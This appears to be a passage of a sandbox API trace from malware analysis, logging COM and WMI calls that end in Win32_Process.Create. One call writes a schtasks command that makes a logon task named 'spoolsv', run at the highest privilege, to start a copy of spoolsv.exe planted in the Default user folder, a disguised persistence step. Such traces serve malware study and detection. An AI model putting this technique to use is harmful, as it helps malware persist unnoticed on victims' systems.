Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x0) returned 0x80004002 [0159.637] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc160d0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d978 | out: ppvObject=0x1bb7d978*=0x1bc404c0) returned 0x0 [0159.637] WbemDefPath:IUnknown:Release (This=0x1bc160d0) returned 0x0 [0159.637] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc404c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d788 | out: ppvObject=0x1bb7d788*=0x1bc404c0) returned 0x0 [0159.638] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc404c0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d830 | out: ppvObject=0x1bb7d830*=0x0) returned 0x80004002 [0159.638] WbemDefPath:IUnknown:AddRef (This=0x1bc404c0) returned 0x3 [0159.638] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc404c0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ced8 | out: ppvObject=0x1bb7ced8*=0x0) returned 0x80004002 [0159.638] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc404c0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce60 | out: ppvObject=0x1bb7ce60*=0x0) returned 0x80004002 [0159.638] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc404c0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce50 | out: ppvObject=0x1bb7ce50*=0x1bc16110) returned 0x0 [0159.638] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc16110, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce78 | out: pCid=0x1bb7ce78*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0159.638] WbemDefPath:IUnknown:Release (This=0x1bc16110) returned 0x3 [0159.638] CoGetContextToken (in: pToken=0x1bb7cf00 | out: pToken=0x1bb7cf00) returned 0x0 [0159.638] CoGetContextToken (in: pToken=0x1bb7d380 | out: pToken=0x1bb7d380) returned 0x0 [0159.638] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc404c0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d440 | out: ppvObject=0x1bb7d440*=0x0) returned 0x80004002 [0159.638] WbemDefPath:IUnknown:Release (This=0x1bc404c0) returned 0x2 [0159.638] WbemDefPath:IUnknown:Release (This=0x1bc404c0) returned 0x1 [0159.638] CoGetContextToken (in: pToken=0x1bb7e1a0 | out: pToken=0x1bb7e1a0) returned 0x0 [0159.638] CoGetContextToken (in: pToken=0x1bb7e0a0 | out: pToken=0x1bb7e0a0) returned 0x0 [0159.638] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc404c0, riid=0x1bb7e200*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1d0 | out: ppvObject=0x1bb7e1d0*=0x1bc404c0) returned 0x0 [0159.638] WbemDefPath:IUnknown:AddRef (This=0x1bc404c0) returned 0x3 [0159.638] WbemDefPath:IUnknown:Release (This=0x1bc404c0) returned 0x2 [0159.638] WbemDefPath:IWbemPath:SetText (This=0x1bc404c0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0159.638] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f2c0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0159.638] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f2c0, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xf, pszText=0x0) returned 0x0 [0159.638] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f2c0, lFlags=8, puBuffLength=0x1bb7e608*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e608*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.639] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0159.639] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0159.639] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0159.639] IUnknown:Release (This=0x1a943398) returned 0x1 [0159.640] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bc16150) returned 0x0 [0159.640] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc16150, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0159.640] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc16150, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc40400) returned 0x0 [0159.641] WbemDefPath:IUnknown:Release (This=0x1bc16150) returned 0x0 [0159.641] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40400, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc40400) returned 0x0 [0159.641] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40400, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0159.641] WbemDefPath:IUnknown:AddRef (This=0x1bc40400) returned 0x3 [0159.641] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40400, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0159.641] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40400, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0159.641] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40400, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bc16190) returned 0x0 [0159.641] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc16190, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0159.641] WbemDefPath:IUnknown:Release (This=0x1bc16190) returned 0x3 [0159.641] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0159.641] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0159.641] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40400, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0159.641] WbemDefPath:IUnknown:Release (This=0x1bc40400) returned 0x2 [0159.641] WbemDefPath:IUnknown:Release (This=0x1bc40400) returned 0x1 [0159.641] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0159.641] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0159.641] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40400, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc40400) returned 0x0 [0159.641] WbemDefPath:IUnknown:AddRef (This=0x1bc40400) returned 0x3 [0159.641] WbemDefPath:IUnknown:Release (This=0x1bc40400) returned 0x2 [0159.641] WbemDefPath:IWbemPath:SetText (This=0x1bc40400, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0159.641] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc404c0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0159.641] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40400, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0159.642] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40400, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0159.642] WbemDefPath:IWbemPath:GetText (in: This=0x1bc40400, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="root\\cimv2") returned 0x0 [0159.642] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bc404c0) returned 0x0 [0159.642] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40400, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0159.642] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc40400, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0159.642] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc40400, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="root") returned 0x0 [0159.642] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc404c0, uIndex=0x0, pszName="root") returned 0x0 [0159.642] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc40400, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0159.642] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bc40400, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="cimv2") returned 0x0 [0159.642] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bc404c0, uIndex=0x1, pszName="cimv2") returned 0x0 [0159.642] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc40400, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0159.642] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc40400, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0159.642] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc404c0, puNameBufLength=0x1bb7e590*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e590*=0x2, pName=0x0) returned 0x0 [0159.642] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc404c0, puNameBufLength=0x1bb7e590*=0x2, pName="0" | out: puNameBufLength=0x1bb7e590*=0x2, pName=".") returned 0x0 [0159.642] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc404c0, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0xc15) returned 0x0 [0159.642] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f2c0, puCount=0x1bb7e580 | out: puCount=0x1bb7e580*=0x2) returned 0x0 [0159.642] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f2c0, lFlags=4, puBuffLength=0x1bb7e578*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e578*=0xf, pszText=0x0) returned 0x0 [0159.642] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f2c0, lFlags=4, puBuffLength=0x1bb7e578*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e578*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.642] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f2c0, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0159.642] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f2c0, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0159.642] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f2c0, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.642] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc404c0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0159.642] WbemDefPath:IWbemPath:GetText (in: This=0x1bc404c0, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x1d, pszText=0x0) returned 0x0 [0159.642] WbemDefPath:IWbemPath:GetText (in: This=0x1bc404c0, lFlags=4, puBuffLength=0x1bb7e608*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0159.642] WbemDefPath:IWbemPath:GetText (in: This=0x1bc404c0, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0159.642] WbemDefPath:IWbemPath:GetText (in: This=0x1bc404c0, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e618*=0xe, pszText="Win32_Process") returned 0x0 [0159.650] IWbemServices:GetObject (in: This=0x1bc55d20, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e460*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e460*=0x1bbb65c0, ppCallResult=0x0) returned 0x0 [0159.653] IWbemClassObject:GetMethod (in: This=0x1bbb65c0, wszName="Create", lFlags=0, ppInSignature=0x1bb7e698, ppOutSignature=0x1bb7e690 | out: ppInSignature=0x1bb7e698*=0x1bbb6930, ppOutSignature=0x1bb7e690*=0x1bbb6ca0) returned 0x0 [0159.653] IWbemClassObject:SpawnInstance (in: This=0x1bbb6930, lFlags=0, ppNewInstance=0x1bb7e6a8 | out: ppNewInstance=0x1bb7e6a8*=0x1bc756b0) returned 0x0 [0159.653] IWbemClassObject:Get (in: This=0x1bc756b0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2727708*=0, plFlavor=0x272770c*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2727708*=8, plFlavor=0x272770c*=32) returned 0x0 [0159.653] IWbemClassObject:Get (in: This=0x1bc756b0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2727708*=8, plFlavor=0x272770c*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2727708*=8, plFlavor=0x272770c*=32) returned 0x0 [0159.653] IWbemClassObject:Put (This=0x1bc756b0, wszName="CommandLine", lFlags=0, pVal=0x1bb7e600*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"spoolsv\" /sc ONLOGON /tr \"'C:\\Users\\Default\\spoolsv.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0159.654] IWbemClassObject:Get (in: This=0x1bc756b0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2727798*=0, plFlavor=0x272779c*=0 | out: pVal=0x1bb7e580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2727798*=13, plFlavor=0x272779c*=32) returned 0x0 [0159.654] IWbemClassObject:Get (in: This=0x1bc756b0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e5b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2727798*=13, plFlavor=0x272779c*=32 | out: pVal=0x1bb7e5b0*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2727798*=13, plFlavor=0x272779c*=32) returned 0x0 [0159.654] IUnknown:QueryInterface (in: This=0x1bbb5ee0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df98 | out: ppvObject=0x1bb7df98*=0x1bbb5ee0) returned 0x0 [0159.654] IUnknown:QueryInterface (in: This=0x1bbb5ee0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7e040 | out: ppvObject=0x1bb7e040*=0x0) returned 0x80004002 [0159.654] IUnknown:QueryInterface (in: This=0x1bbb5ee0, riid=0x7fef11369a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc68 | out: ppvObject=0x1bb7dc68*=0x0) returned 0x80004002 [0159.654] IUnknown:AddRef (This=0x1bbb5ee0) returned 0x3 [0159.654] IUnknown:QueryInterface (in: This=0x1bbb5ee0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d6e8 | out: ppvObject=0x1bb7d6e8*=0x0) returned 0x80004002 [0159.654] IUnknown:QueryInterface (in: This=0x1bbb5ee0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d670 | out: ppvObject=0x1bb7d670*=0x0) returned 0x80004002 [0159.654] IUnknown:QueryInterface (in: This=0x1bbb5ee0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d660 | out: ppvObject=0x1bb7d660*=0x1bbb5ee8) returned 0x0 [0159.654] IMarshal:GetUnmarshalClass (in: This=0x1bbb5ee8, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7d688 | out: pCid=0x1bb7d688*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0159.654] IUnknown:Release (This=0x1bbb5ee8) returned 0x3 [0159.654] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0159.654] CoGetContextToken (in: pToken=0x1bb7db90 | out: pToken=0x1bb7db90) returned 0x0 [0159.655] IUnknown:QueryInterface (in: This=0x1bbb5ee0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dc50 | out: ppvObject=0x1bb7dc50*=0x0) returned 0x80004002 [0159.655] IUnknown:Release (This=0x1bbb5ee0) returned 0x2 [0159.655] CoGetContextToken (in: pToken=0x1bb7da90 | out: pToken=0x1bb7da90) returned 0x0 [0159.655] CoGetContextToken (in: pToken=0x1bb7d990 | out: pToken=0x1bb7d990) returned 0x0 [0159.655] IUnknown:QueryInterface (in: This=0x1bbb5ee0, riid=0x1bb7daf0*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1bb7dac0 | out: ppvObject=0x1bb7dac0*=0x0) returned 0x80004002 [0159.655] CoGetContextToken (in: pToken=0x1bb7dc20 | out: pToken=0x1bb7dc20) returned 0x0 [0159.655] IUnknown:QueryInterface (in: This=0x1bbb5ee0, riid=0x7fef114d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dcf0 | out: ppvObject=0x1bb7dcf0*=0x0) returned 0x80004002 [0159.655] CoGetContextToken (in: pToken=0x1bb7dcb0 | out: pToken=0x1bb7dcb0) returned 0x0 [0159.655] IUnknown:AddRef (This=0x1bbb5ee0) returned 0x3 [0159.655] IWbemClassObject:Put (This=0x1bc756b0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1bb7e600*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bbb5ee0, varVal2=0x0), Type=0) returned 0x0 [0159.655] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3ee40, puCount=0x1bb7e6c0 | out: puCount=0x1bb7e6c0*=0x2) returned 0x0 [0159.655] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ee40, lFlags=4, puBuffLength=0x1bb7e6b8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6b8*=0x26, pszText=0x0) returned 0x0 [0159.655] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ee40, lFlags=4, puBuffLength=0x1bb7e6b8*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e6b8*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0159.655] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f2c0, puCount=0x1bb7e600 | out: puCount=0x1bb7e600*=0x2) returned 0x0 [0159.655] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f2c0, lFlags=4, puBuffLength=0x1bb7e5f8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e5f8*=0xf, pszText=0x0) returned 0x0 [0159.655] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f2c0, lFlags=4, puBuffLength=0x1bb7e5f8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e5f8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.656] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ee40, lFlags=2, puBuffLength=0x1bb7e6c8*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e6c8*=0xe, pszText=0x0) returned 0x0 [0159.656] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3ee40, lFlags=2, puBuffLength=0x1bb7e6c8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e6c8*=0xe, pszText="Win32_Process") returned 0x0 [0159.656] IWbemServices:ExecMethod (in: This=0x1bc55d20, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bc756b0, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1bc75960, ppCallResult=0x0) returned 0x0 [0159.739] IWbemClassObject:Get (in: This=0x1bc75960, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2727ab0*=0, plFlavor=0x2727ab4*=0 | out: 